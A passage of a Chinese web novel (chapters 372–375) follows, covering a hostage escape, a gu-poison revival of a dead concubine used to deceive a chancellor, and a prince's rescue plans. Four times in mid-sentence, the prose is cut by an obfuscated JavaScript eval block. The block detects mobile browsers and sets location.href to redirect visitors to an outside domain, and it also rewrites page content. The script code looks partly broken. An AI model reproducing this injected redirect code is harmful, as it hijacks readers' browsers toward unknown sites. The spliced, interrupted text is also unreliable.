“我确实还有许多事情没来得及记起。”姜姝宁定了定神,强迫自己从那片情绪的漩涡中抽离出来,“殿下,我记得您和您的母族崔家,对大邺至关重要。若景王真想当这大邺的君王,为何不拉拢你,反而要这般待你?” 大邺的国库有一半是靠崔家撑着,崔家就是大邺的钱袋子。 皇室里,谁不想巴结这位富可敌国的五王爷? 萧凌川心机深沉,他比任何人都懂权衡利弊,为何会做出这等自断臂膀的蹊跷之事,竟将萧怀瑾折磨至此? “因为你!” 萧怀瑾盯着她,眼中的温柔褪去,只剩下一种近(乎)疯狂的偏执:“他怕我夺走你,所以才这样折磨我。姜姝宁,萧凌川一直是个心机深沉、为达目的不择手段的卑鄙小人!” “轰”的一声,姜姝宁感觉全身的血液都冲上了头顶。 她的脸瞬间涨得通红,比窗外最艳的晚霞还要灼人。 “殿下,这……这怎么可能……”她语无伦次,心乱如麻。 这顶帽子太大了,她戴不起,也完全无法理解。 “姜姑娘,你忘了太多事了。”萧怀瑾看着她慌乱的样子,眼中闪过一丝痛楚,他急切地想要说服她,让她相信自己,“萧凌川将你强行困在景王府里,你过得生不如死,他甚至……还强迫你生下他的孩子。你终日郁郁寡欢,我一直在想办法救你出去。原本我们已经约好,要一起离开京城,去一个没人认识我们的地方,可后来……计划被打乱了……” “不,不可能!”姜姝宁猛地站了起来,她扶住桌角,脸红得几乎要滴出血来。 这太荒谬了! 无论是她那破碎不堪的梦境,还是她此刻清醒的认知,她对眼前的宁王殿下都只有欣赏,是那种对美好事物的纯粹欣赏,而绝非……绝非男女之情! 萧凌川强迫她? 她被困在景王府,因此郁郁寡欢? 她和萧修湛约好要私奔? 可梦境中的萧凌川,分明对她冷若冰霜,是她一厢情愿,爱而不得,才在无尽的绝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449885|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望中日渐枯萎。 她的世界,明明只装得下萧凌川一人,怎可能为另一个男人挪出半分余地? 可接下来,萧怀瑾的一句话,却像一只无形的手,掐住了她的喉咙,让她所有的反驳都梗在喉间。 他看着她,目光沉静而锐利,仿佛能穿透她所有的迷茫和抗拒。 “若你我并非两情相悦,”他缓缓开口,声音不大,却字字清晰,带着一种不容置疑的笃定,“你又为何会放心将自己的亲生儿子,交到我的手上?” 姜姝宁顿时哑口无言。 是啊,当初小邺君确实是跟在萧怀瑾身边的。 她才因此将眼前这个温润的宁王殿下,错认成了那个冷酷的景王。 一个母亲怎么可能,将自己唯一的骨肉,托付给一个除了孩子生父以外的人? 除非,她对那个人有着超乎寻常的信任,一种足以托付性命与血脉的信任。 一时间,两段截然不同,却又同样言之凿凿的故事在她脑海里疯狂冲撞,撕扯着她的神智。 一边,是姜天泽和眼前萧怀瑾的说辞:景王萧凌川是个不折不扣的疯子,强娶豪夺,将她囚于王府高墙之内。 另一边,却是她自己那些破碎、阴暗,却又无比真实的梦境。 梦里,是她对救了自己性命的萧凌川一见倾心,死缠烂打,甚至不惜毁掉自己的名节,用尽手段逼他娶了自己。 梦里,萧凌川真正心悦的女子,是她的庶妹,姜瑶真。 也正因此,萧凌川才对她恨之入骨,将她的满腔爱意踩在脚下,碾得粉碎。 到底……到底哪一个才是真的? 她的头剧烈地疼了起来,眼前阵阵发黑。 她究竟是无辜的受害者,还是卑劣的加害者? 两个故事,天差地别,却又都有着看似无法辩驳的“证据”。 如果萧怀瑾说的是真的,那她的梦又是怎么回事? 如果她的梦才是真的,那姜天泽和萧怀瑾,又为何要异口同声地欺骗她? 姜姝宁的脑子很乱。 她仿佛被困在一座扑朔迷离的迷宫深处,四周皆是无尽的岔路与幻影,始终寻不到通往真相的道路。 第372章 用刀挟持换来的“自由” 第三百七十二章用刀挟持换来的“自由” 看着她迷茫又头疼的模样,萧怀瑾眼底掠过一丝无奈。 “姜姑娘,若你实在想不起来,我也不为难你。”他的声音带着一丝疲惫,仿佛刚才的对峙耗尽了他所有力气,“我……刚从地牢里逃出来,想来很快就会被人发现。可我如今身负重伤,又不会武功,还请帮我给我的侍卫阿齐带句话,让他潜入衙门来救我。” 姜姝宁也不忍心看他在此受折磨,便毫不犹豫地应了下来:“好。” 萧怀瑾松了口气。 他环顾四周,目光落在她发髻上,伸出手:“可否借姑娘发簪一用?” 姜姝宁没有多想,取下一支簪子递给他。 他接过簪子,又从桌上断裂的桌腿处掰下一根小小的木条,低头在上面专注地刻画起来。 片刻后,他将刻着几个奇怪符号的木条递给她。 “麻烦姜姑娘帮我把这木条交给阿齐,他就知道应该怎么做。阿齐就在‘清风轩’客栈,天字一号最里间,你应当认识。” 姜姝宁接过那根尚有他指尖余温的木条,郑重地许下承诺:“殿下放心,我一定帮你把消息带到!” 她将房门从里面仔细关好,确认萧怀瑾藏身之处不会轻易被发现,这才转身拉开门走了出去。 守在门口的副将一见她出来,整个人都绷紧了。 “姜女医,你身子还没好利索,想去哪?” “我想出去走走。”姜姝宁尽量让自己的语气听起来平淡无奇。 “这……外面乱,您还是在屋里歇着吧?”副将脸上堆着为难的笑,尽力劝道。 “我闷得慌。”她只说了三个字,神色却很坚持。 副将不敢再拦,心想,万一把人惹不高兴了,回头王爷怪罪下来,他可担待不起。 他只能一挥手,招来一队官兵:“你们,好好‘保护’姜女医。” 一行人就这么浩浩荡荡地出了衙门。 姜姝宁走在前面,身后跟着一群手持兵刃的官兵,像是在押送什么重犯。 她能感觉到路人投来的惊疑目光,但她无暇顾及,只是攥紧了袖中的木条,快步走向“清风轩”。 客栈掌柜的一看见这阵仗,腿都软了,惊疑不定地迎上来。 “这位姑娘,这是……” 姜姝宁直接将木条递给他,压低声音道:“麻烦掌柜的把这个交给天字一号最里间的房客。” 掌柜的看了一眼她身后的官兵,哪敢怠慢,点头哈腰地接过木条就往楼上跑。 目的达成,姜姝宁转身便走。 副将一路将她“护送”回衙门,看着她进了屋,这才长长舒了一口气。 姜姝宁推门进屋,反手将门栓插上。 萧怀瑾还好好地躲在里间,一切风平浪静,官兵们似乎还没发现这逃出地牢的囚犯。 然而,这份平静连一炷香的时间都没有维持住。 门外院中,骤然响起一片嘈杂的脚步声和兵刃出鞘的锐响,中间还夹杂着小孩子被吓坏的嘹亮哭声。 是小邺君! 姜姝宁的心猛地揪紧,血液瞬间冲上头顶。 她想也不想,猛地拉开屋门冲了出去! 眼前的景象让她浑身冰冷。 院子中央,几个身穿黑色劲装的男子,正与团团围住他的官兵对峙。 其中一个男子便是阿齐,他怀里紧紧抱着正在大哭的小邺君。 看到姜姝宁跑出来,副将的脸都白了,冲她惊慌地大喊:“姜女医,您别过来!危险!” 可他的话音未落,阿齐已经朝她而去。 只觉一阵疾风掠过,下一刻,一道冰冷的寒意贴上了姜姝宁的脖颈。 一柄锋利的短刀,正架在她的颈动脉上。 “都退下!让我带我们主子离开!”阿齐的声音没有一丝温度,仿佛来自九幽地府,“否则,别怪我心狠手辣!” 副将吓得魂飞魄散,他看着那柄在日光下闪着寒光的刀,生怕它下一秒就割开姜姝宁纤细的脖子。 这可是王爷放在心尖尖上的人,要是她掉了一根头发,他项上的人头都不够赔的! “快,后退!”副将下了命令,又朝阿齐声嘶力竭地大喊,“别伤害姜女医,你们想带走谁就带走谁!” 官兵们闻言,纷纷后撤,让出一条通路。 阿齐没有放松警惕,他将怀里哭得上气不接下气的小邺君塞进姜姝宁怀里,用只有两人能听见的声音说了一句:“姜姑娘,得罪了!” 姜姝宁下意识地抱紧儿子,脑子一片空白。 小邺君一到她怀里,哭声立刻小了些,委屈地把脸埋进她颈窝里。 就在这时,那扇她刚刚冲出的房门,缓缓打开了。 萧怀瑾从里面走了出来。 “殿下!”阿齐激动地喊了一声,挟持着姜姝宁母子,迅速退到房门口,将萧怀瑾护在自己身后,和另外几名侍卫形成了一个对峙的阵型。 副将和官兵们看着这一幕,都傻了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449886|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼。 谁也没想到,本该被关在地牢里的宁王,竟藏在姜女医的屋子里! 就在众人惊疑不定之际,萧怀瑾眼中闪过一抹厉色。 他竟从宽大的袖中掏出一个纸包,手臂一扬,将里面的白色药粉用力洒向副将和前排的官兵! 药粉迎风飘散,沾染到的官兵瞬间惨叫起来,有的捂着眼睛,有的剧烈咳嗽,阵型顿时大乱。 一片混乱中,阿齐和几个侍卫带着怀抱婴孩的姜姝宁和萧怀瑾,以惊人的速度冲出了院子,转眼间就消失在了衙门外的街角。 …… 马车颠簸得厉害,车轮碾过石板路的咯吱声与急促的马蹄声混作一团,像一柄重锤,一下下敲在姜姝宁的心上。 怀里的小邺君许是累了,已经沉沉睡去,小脸上还挂着未干的泪痕,长长的睫毛偶尔颤动一下,似乎在梦里也不安稳。 南朔城的轮廓在身后飞速远去,最终化作天际线上一个模糊的墨点。 姜姝宁的心却比这逃亡的路还要颠簸。 她万万没想到,自己和孩子竟成了萧怀瑾威胁副将、成功脱身的筹码。 那柄架在脖颈上的短刀,冰冷的触感仿佛还烙印在皮肤上,让她阵阵发寒。 若不是萧怀瑾事先在木条里授意,阿齐哪来那么大的胆子,敢用她和君儿的性命做要挟,逼副将就范? 这个看似温润无害的宁王殿下,心思竟深沉至此,手段也狠戾得令人心惊。 “姜姑娘,你和君儿受惊了。” 萧怀瑾的声音低沉地在狭小的车厢内响起,打破了这令人窒息的沉默。 他看着她,眼中带着一丝歉疚,但更多的是一种不容置疑的坚定。 “此事确实出自我的授意。”他坦然承认,没有半分遮掩,“我早就打算带着你和君儿离开,今日虽有些惊险,但阿齐有分寸,不会伤了你和君儿。姜姑娘,我曾立下誓言,无论如何都要带着你逃离萧凌川的掌控,让你和君儿过上自由的日子!” 自由? 姜姝宁听着这两个字,只觉得无比讽刺。 被人用刀挟持着换来的,也能叫自由? 她抬起眼,眸中最后一丝温情也被那冰冷的刀锋刮得干干净净,只剩下彻骨的寒意。 她冷冷看着他,声音像是淬了冰:“殿下想带我们去哪?” 萧怀瑾对上她疏离的目光,心口微不可察地一滞。 他顿了顿,一字一句,吐出两个字。 “北陵!” 第373章 她被挟持了 第三百七十三章她被挟持了 北陵? “不行!”姜姝宁几乎是脱口而出,“君儿还这么小,北陵天寒地冻,他受不住的!我绝不同意去北陵!” 北陵是什么地方? 寸草不生的苦寒之地,每年有大半时间都在落雪,风刮在脸上像刀子一样。 让一个尚在襁褓中的婴孩去那种地方,和要了他的命有什么区别? 萧怀瑾似乎早就料到她会是这个反应。 他的神色没有丝毫变化,只是静静地看着她,目光沉静,带着一种令人窒息的耐心。 “姜姑娘,你听我说。”他开口,声音依旧温和,却带着不容反驳的强硬,“我的皇姐,大邺的长公主,当年便是远嫁北陵。如今,她是北陵的皇后。” “我们到了北陵,可以直接入宫,有皇姐的庇护,无人敢动我们分毫。”萧怀瑾继续说道,话语像一张细密的网,将她的反抗一寸寸收紧,“最重要的是,北陵是萧凌川鞭长莫及的地方。只有在那里,你和君儿才是真正自由的。” 自由? 姜姝宁看着他,忽然觉得一阵莫名的恐惧从脚底升起,沿着脊椎一路爬上头顶,让她头皮发麻。 眼前的男人,口口声声为了她好,为了给她自由,可他做的事,和萧凌川又有什么本质的区别? 一个用强硬的手段将她囚在王府,另一个,则是用“为你好”这三个字织成一张温柔的网,将她的人生牢牢掌控在手中。 他说去北陵,她就必须去北陵。 她没有拒绝的余地,甚至连提出异议的资格都没有。 他很清楚她的软肋,只要她带着小邺君,她就永远没有底气说出那一声决绝的“不”。 他和萧凌川果然是亲兄弟,连强迫人就范的手段都如出一辙。 她垂下眼帘,不再与他对视,也不再争辩。 她知道,再说什么都是徒劳。 在这个狭小的,颠簸的马车里,她就是一个被挟持的人质,只不过,挟持她的人,脸上挂着温和的笑意,看起来温善无害罢了。 该怎么做,才能摆脱这种境地? 姜姝宁的心思千回百转,身体却因为连日的惊吓与奔波疲惫到了极点。 纷乱的思绪渐渐模糊,不知不觉间,她竟靠着车壁沉沉睡去。 …… 腥甜的液体不断从喉咙里涌出,视野变得一片血红。 她好像躺在谁的怀里,那人的手臂箍得她生疼,力道大得像是要将她揉进骨血里。 一张熟悉又陌生的脸庞出现在她模糊的视线中。 是萧凌川。 可他脸上的神情,却是她从未见过的。 那双总是淬着冰雪,吝于给她半分暖意的桃花眸,此刻竟盛满了滔天的恐慌与绝望,眼尾泛着骇人的红。 他好像在喊她的名字,一声又一声,嘶哑又破碎。 她想回应他,可一张口,涌出的却是更多的血。 温热的液体染红了她胸前的衣襟,也染红了他玄色的锦袍,在昏暗的光线下,像一朵朵诡异又凄美的花。 “萧凌川……”她用尽最后一丝力气,抓住了他的衣袖,一字一句道,“若有来世……我一定不会嫁给你,亦不会……爱上你……” 说完这句话,她感到最后一丝力气也被抽空了。 视线里最后的场景,是萧凌川抱着她冰冷的尸体,发出一声犹如困兽般,撕心裂肺的仰天长啸…… 姜姝宁猛地惊醒,只觉得心口像是被一只无形的手狠狠攥住,疼得她几乎要蜷缩起来。 怎么会做这样离奇却又真实的梦? 就好像,她真的经历过死亡一般。 马车依旧在行驶,小邺君睡得正香,小嘴微微张着,发出均匀的呼吸声。 车窗外一片漆黑,连月光都被浓厚的云层遮蔽,显得格外黯淡。 身侧传来轻微的动静,萧怀瑾不知何时已经醒了。 他在黑暗中睁开眼睛,那双黑眸在夜里亮得惊人,正直直地看着她。 “做噩梦了?”他的声音带着一丝刚睡醒的沙哑。 “嗯。”姜姝宁胡乱应了一声,心跳依旧快得像是要从嗓子眼里蹦出来。 梦里那濒死的痛苦和萧凌川绝望的嘶吼,真实得让她分不清现实与虚幻。 她忽然想起了什么,努力让自己的声音听起来平稳一些,低声问道:“殿下,你说……景王将我困在景王府里,那我岂不是……没法见到其他人了?” 萧怀瑾点了点头,语气笃定:“自然。别说见外人,就连你自己的父母想见你,都要经过他的同意。” 姜姝宁越想越不对劲。 梦里,或者说,那段“记忆”里,她虽然在景王府过得并不如意,萧凌川对她冷淡至极,但她的人身是自由的! 她不仅能时常回相府探望父母,还能收到京中各家贵女的帖子,去参加她们举办的各种宴会! 所以……那个梦里的一切都是假的? 可那份痛苦,那份绝望,又为何如此的真实…… 她下意识地想起了梦里自己临死前说的那句话。 “若有来世……我一定不会嫁给你,亦不会……爱上你……” 若有来世…… 来世…… 一个荒谬又可怕的念头,如同一道惊雷,骤然劈开了她混乱的思绪。 难道……梦里的一切,不是梦。 而是…… 她曾经亲身经历过的,上一世? —— 与南朔城外那场惊心动魄的逃亡截然不同,京城相府的西院,静得像一口深不见底的枯井。 夜,很深。 柴房里弥漫的腐臭味,比白日里浓了十倍,熏得人作呕。 姜天泽靠在冰冷的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458502|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 椅背上,双眼紧闭,在等待他的傀儡。 黑暗中,一个佝偻的身影正从后厨的方向,一寸一寸地蠕动过来。 那东西曾经是个人,是姜丞相的宠妾,花莲。 如今,她全身的皮肉都在腐烂,脓水混着泥土,在地上拖出一条黏腻恶心的痕迹。 她像一具被(操)控的活尸,眼中没有丝毫神采,只是遵循着脑中那只蛊虫的命令,朝着柴房的方向,不知疲倦地爬行。 “咔哒。” 门栓被一只烂得只剩枯骨的手指拨开。 花莲爬到姜天泽身边,用她那双几乎要从眼眶里掉出来的浑浊眼球“看”着他,然后费力地抬起手,开始用残存的指甲去抠那捆绑结实的麻绳。 绳子很快被磨断,姜天泽活动了一下早已麻木的手腕,眼中没有半点获救的喜悦,只有审视货品般的冷漠。 他本想立刻就走。 可刚迈出一步,他又停下了。 那份能置萧凌川于死地的“罪证”想来已经被姜丞相毁了。 现在去见大邺的皇帝,空口污蔑萧凌川勾结南月、通敌叛国,胜算太小。 自己若暴露身份,说不定会被当成南月奸细抓起来。 他的目光,重新落回瘫在地上、烂泥一般的花莲身上。 一个疯狂的念头,在他脑中如毒蛇般抬起了头。 这张脸……若是能恢复呢? 恢复到当初那个能让大伯姜丞相神魂颠倒的模样。 都说英雄难过美人关。 一个死而复生的绝色爱妾,一个距皇位仅咫尺之遥的景王,说不定大伯会将心偏向前者,甘为情网所困。 从那天起,西院多了一个诡异的秘密。 白天,姜天泽依旧是那个被限制自由、奄奄一息的阶下囚。 到了晚上,他便成了这间柴房的主宰,一个邪恶可怖的药师。 他将院中寻来的毒草、腐虫碾碎,混入不知名的液体,熬制成一锅散发着诡异香气的墨绿色药膏。 这根本不是什么灵丹妙药,而是以毒攻毒的催命符。 它能让花莲脸上腐烂的皮肉在极短的时间内重新生长、愈合,代价却是急剧消耗她本就所剩无几的内脏生机。 姜天泽毫不在意。 这具行尸走肉的内脏会烂成什么样,与他何干? 只要这张脸能派上用场,就是她最大的造化。 几天后,当最后一层药痂被揭下,一张完美无瑕、艳光四射的脸蛋重现于月光之下。 肌肤吹弹可破,眉眼含情,鼻梁小巧,唇珠饱满。 正是当年那个艳压春香楼的绝色花魁花莲。 姜天泽看着自己的“杰作”,喉咙里发出一声低沉的、满足的笑,那笑容阴鸷而扭曲。 “大伯啊……”他喃喃自语,声音里满是淬毒的蜜糖,“现在,轮到你抉择的时候了。” 第374章 死而复生的爱妾 第三百七十四章死而复生的爱妾 夜,深得像一池泼翻的浓墨。 姜丞相府的书房里,烛火孤零零地跳动着,将他花白的鬓角映在墙上,影子被拉得老长。 案上堆积的文书,字字句句都关乎着朝堂风云,他看得眼眶发涩,忍不住捏了捏眉心。 就在这时,窗外毫无征兆地卷来一阵阴风,“呼”地一声,穿过窗棂的缝隙,直扑书案。 那豆大的烛火挣扎了两下,便彻底熄灭了。 书房瞬间陷入死寂的黑暗。 “来人。”他下意识唤了一声,才想起早已屏退了下人。 他叹了口气,只能凭着记忆,摸索着从椅子上站起来,朝着存放火折子的多宝阁走去。 脚下的地毯厚实,吸收了所有的声响,四周静得只剩下他自己的心跳声。 他摸到了冰凉的火折子,拔开盖子,对着吹了口气。 “呲——” 微弱的火光亮起,一瞬间驱散了眼前的黑暗。 也就在火光亮起的那一刻,一张女人的脸,毫无预兆地出现在他面前。 那张脸离他不过一臂之遥,正静静地看着他。 “啊!” 姜丞相活了半辈子,历经宦海沉浮,早已心如磐石,此刻却也被骇得魂飞魄散,惊叫一声,整个人踉跄着向后退去。 手中的火折子险些脱手。 他稳住心神,将火折子凑近,昏黄的光线颤抖着,终于照清了那张脸。 肌肤胜雪,眉如远黛,一双秋水含情的眸子,正幽幽地望着他。 这张脸…… 这张他曾在梦里见过千百回,以为早已化作一捧黄土的脸…… 姜丞相只觉得一股寒气从脚底板直冲天灵盖,头皮阵阵发麻。 这不是别人,竟是他多年前便死于难产的爱妾,莲儿! “莲儿,是你吗?”他的声音干涩得像是被砂纸磨过,他甚至抬手揉了揉自己的眼睛,以为是熬夜太久,出现了幻觉,“你是人是鬼?” “老爷,是妾身。” 那女人开了口,声音如记忆中一般温软,带着一丝委屈的颤音。 她向前走了一步,那张光洁无瑕的面容在摇曳的烛光下,竟显得比她年轻时更加明艳,美得有些不真实。 “这世上没有鬼,妾身自然是人。” 姜丞相死死盯着她,心头巨浪翻滚。 他不是没见过胆大包天的刺客,也不是没应付过诡谲多变的政敌,可眼前这一幕,却彻底超出了他的认知。 “当年,老夫明明亲眼看到你下葬……”他的声音里充满了戒备与困惑,每一个字都说得极为艰难。 棺木入土的画面,还历历在目。 花莲的眼圈瞬间就红了,她柔声解释道:“老爷,妾身当初是诈死的。下葬后不久,我便被族人悄悄带走了。” 她一边说,一边用那双水盈盈的眼睛观察着姜丞相的神色,语气愈发情深意切,“这些年,妾身一直没离开京城,就藏在暗处。偶尔……会回来,偷偷探望真儿。” “那毕竟,是妾身与老爷唯一的孩子。若老爷不信,可以去问问真儿,这些年,妾身从未离开过你们父女。” 姜丞生的神色愈发复杂。 他既希望这是真的,又不敢相信这是真的。 巨大的震惊过后,作为丞相的理智与多疑开始占据上风。 “你为何要诈死离开?”他的语气冷了下来,目光锐利如刀,仿佛要将她整个人看穿。 花莲的身体轻轻一颤,仿佛被他冰冷的语气刺痛,眼泪再也忍不住,大颗大颗地滚落下来。 她“噗通”一声跪倒在地,冰凉的砖石地面发出一声闷响。 “老爷,当年莲儿没有告诉您实话……”她哽咽着,哭得梨花带雨,“其实……妾身是南月送来的贡女。当初皇宫猫毒肆虐,妾身侥幸从宫里逃了出来……后来遇见老爷,生下真儿。” “妾身只想着能与老爷和孩儿安稳度日,可妾身怕啊!怕自己的身份一旦暴露,会连累了整个姜家,给老爷招来杀身之祸!所以……所以才出此下策,诈死离开。” 姜丞相眉头紧锁,眼神里全是审视。 这个解释听起来合情合理,却无法让他完全信服。 以他今时今日的地位,一个逃跑的贡女又能掀起多大风浪? “你只要告诉我真相,就算你真是南月贡女,老夫也有的是法子护你周全。你何须隐瞒此事这么多年?还用诈死这种手段!” 他的声音里透着一丝怒意,既是对她的欺瞒,也是对她不信任自己的恼火。 “妾身其实也想跟老爷坦白此事,可……可是……”花莲哭得更凶了,整个人伏在地上,肩膀剧烈地颤抖着,仿佛承受着天大的委屈和恐惧。 她猛地抬起头,泪眼婆娑地看着姜丞相,声音凄厉:“是景王!景王萧凌川!他知道了妾身是南月贡女的身份!” “他拿真儿和您的性命威胁妾身,让妾身为其卖命,将大邺的机密传给南月皇宫!他说,若妾身不按照他的要求去做,他便要……他便要杀了真儿!老爷,妾身也是没办法啊!” “什么?!” 姜丞相如遭雷击,瞳孔骤然收缩,“景王勾结南月,窃取大邺机密?这怎么可能?!” “千真万确啊老爷!”花莲像是抓住了最后一根救命稻草,膝行几步,抓住了姜丞相的袍角,仰着那张绝美又凄惨的脸。 “那景王,他压根就不是先帝的骨肉!他是南月长公主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458503|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和当今南月首辅的孩子!先帝被蒙在鼓里,压根不知此事!” “南月皇室早就派人暗中和他互通款曲,他狼子野心,早就想利用南月在南境的势力,谋权夺位了!” 姜丞相目不转睛地看着她,像是在揣摩她话里的真实性。 良久,他长叹一声,蹲下身,将跪在地上瑟瑟发抖的女人扶了起来。 “莲儿,你这些年受苦了。”他的声音有些沙哑,里面混杂了太多复杂的情绪,“此事,老夫定会查个水落石出。若这景王当真通敌,对大邺不利,老夫绝不会袖手旁观!” 他这句话说得斩钉截铁,作为大邺的朝臣,忠诚几乎是刻在他骨子里的本能。 花莲这才站稳了身子,泪痕未干的脸上,那双美丽的眼眸里迸射出劫后余生般的激动光芒。 “老爷,为了这大邺的天下,为了咱们姜家,您一定不能让景王的奸计得逞啊!”“放心吧,老夫自有分寸!”姜丞相拍了拍她的手背,安抚着她,“你就先在府里好生待着,别出去,更不要露面,免得打草惊蛇,引起他人恐慌。” “是,老爷您放心,莲儿绝不会给您添任何麻烦!” 花莲乖顺地应下,对他盈盈一拜,然后才莲步轻移,转身离开了书房。 门被轻轻关上,室内重归寂静。 姜丞相看着她消失的背影,那挺直的脊背,似乎还带着一丝若有若无的僵硬。 他慢慢走到窗边,负手而立,方才还带着一丝温情与震动的脸,此刻已然沉静如水,眼底翻涌着外人看不懂的晦暗与审度。 他信了吗? 或许信了三分,但剩下的七分,全是浸淫朝堂几十年的老辣与多疑。 与此同时,相府西院的柴房里。 黑暗中,一个身影靠在凌乱的柴火堆上,姿态闲散。 姜天泽慢慢抬起手,借着从门缝里透进来的微弱月光,欣赏着自己修长的手指。 他能感觉到,就在刚才,潜伏在花莲体内的子蛊完成了任务,此刻正归于沉寂。 他的唇角无声地向上牵起,勾勒出一道冰冷又嘲弄的弧线。 真是可笑。 心思深沉的姜丞相,到头来,竟也过不了美人关。 自己不过是动了动手指,借了花莲这个“故人”的壳子,说了几句早就编排好的谎话,这位大邺的股肱之臣,便被轻而易举地撬动了。 接下来,就该看一出好戏了。 一出忠臣反水的精彩大戏。 姜天泽的眼中没有任何笑意,只有一片冰冷的黑暗,和即将复仇的快意。 萧凌川,我倒要看看,当你被自己最信任、最倚重的拥泵从背后狠狠捅上一刀时,会是什么样的表情。 那一定,非常有趣。 第375章 对他而言,未尝不是个机会 第三百七十五章对他而言,未尝不是个机会 京城的风,带着初冬的寒意,刮过景王府的琉璃瓦。 萧凌川刚踏入王府,一名风尘仆仆的侍卫便从殿外疾步闯入,把一封用火漆密封的信递给他。 他撕开火漆,一目十行。 信上的字迹潦草而仓促,每一个字都像一根针,狠狠扎进他的眼里。 姜姝宁和小邺君,被萧怀瑾的人带走了,如今不知所踪。 “砰!” 他身侧的紫檀木长案应声而裂,上好的端砚和笔架滚落在地,摔得粉碎。 一股骇人的怒火从萧凌川身上炸开,整个主殿的空气仿佛瞬间凝固。 他周身的气压低得吓人,那双深邃的眼眸里,翻涌着毁灭一切的猩红风暴。 “萧、怀、瑾!” 三个字,从他齿缝间一个一个挤出来,带着滔天的杀意。 他猛地转身,抓起刚刚解下的披风就要往外走。 “王爷!” 两道身影闪身拦在了他面前,正是凌芜和刚刚赶回京城向他复命的凌风。 凌风一脸焦急,张开双臂死死挡住去路:“王爷,不可!如今朝局风起云涌,朝中大臣都紧盯着你,尤其是皇帝那帮人,巴不得从您身上挑出错处来!您若这时候擅自离开京城,就是授人以柄,给了他们发难的机会!” “滚开!”萧凌川一把将他推开,眼中的血色愈发浓重,“本王若连自己的妻子孩子都护不住,就算坐上这大邺的龙椅,又有什么意义?!你们都别再说了!本王定要亲自将姝宁和邺君找回来!” 他的声音如同咆哮的困兽,带着不顾一切的疯狂。 眼看王爷就要失控,凌芜急忙上前一步:“王爷!宁王殿下将王妃带走,可他的母妃荣太妃,还有他妹妹荣华公主,都还在皇宫里!要不……咱们拿她们的性命,逼他交出王妃和小世子,如何?!” 这话说得又快又狠,殿内的温度仿佛又降了几分。 萧凌川的脚步终于停住了。 他缓缓转过身,神色阴沉。 “本王确实可以这样做。” “但本王不想。”萧凌川的话锋陡然一转,语气里的疯狂褪去,取而代之的是一种更为深沉的、冰冷的算计,“姝宁……她欣赏的是正直磊落之人。本王在她心里,早已劣迹斑斑。若在此事上再用如此卑劣的手段,她定会……更看不起本王。” 他闭了闭眼,脑海中浮现出姜姝宁那双清冷又倔强的眼睛。 “本王……不想冒这个险。” “王爷!”凌风简直要急疯了,“王妃都被人抢走了!您就别再纠结这手段卑劣不卑劣了行不行?先把人抢回来才是正事啊!” “不,你不懂王爷的用意。”凌芜语带深意地解释道,“宁王向来以温润君子自居,如今却用强迫的手段,不顾王妃和小世子的意愿将他们掳走。在王妃眼里,他这行为和山匪有什么区别?王妃现在心里定然对他厌恶至极。” “王爷此番只要以光明磊落之法前去相救,届时两相对比,王妃自会分辨出谁才是真正能庇护她与小世子之人!此番变故,对王爷而言,未尝不是个机会!” 凌风听得一个头两个大,挠着后脑勺,满脸迷茫困惑。 “这男男女女的事儿,怎么比带兵打仗还绕?” 凌芜懒得再跟他解释,转而对着萧凌川,郑重地一抱拳:“王爷,若您信得过属下和凌风,请让我们二人去追寻王妃和小世子的下落!” 萧凌川已经彻底冷静下来。 他思忖片刻,终于点了点头。 “好。” “如今大邺已尽在本王掌控之中,萧怀瑾不是蠢货,他绝不会留在大邺境内。本王在南朔和西洲都布有眼线,若他们往那两处去,消息很快就会传来。所以本王猜,他们最可能去的方向,是北陵。” “你和凌风,即刻动身,轻装简行,往北陵方向追。务必尽快,看看能不能在他们出关之前,拦下他们。” “是,王爷!”凌芜领命,行了个礼,转身就要走。 “等等。”萧凌川又叫住了他们,神色讳莫如深,“记得,若当着王妃的面与他们对上,尽可能……示弱。” “让姝宁亲眼瞧瞧,那位素以‘温润如玉’闻名的宁王殿下,骨子里究竟藏着何等深沉的阴狠与毒辣。” 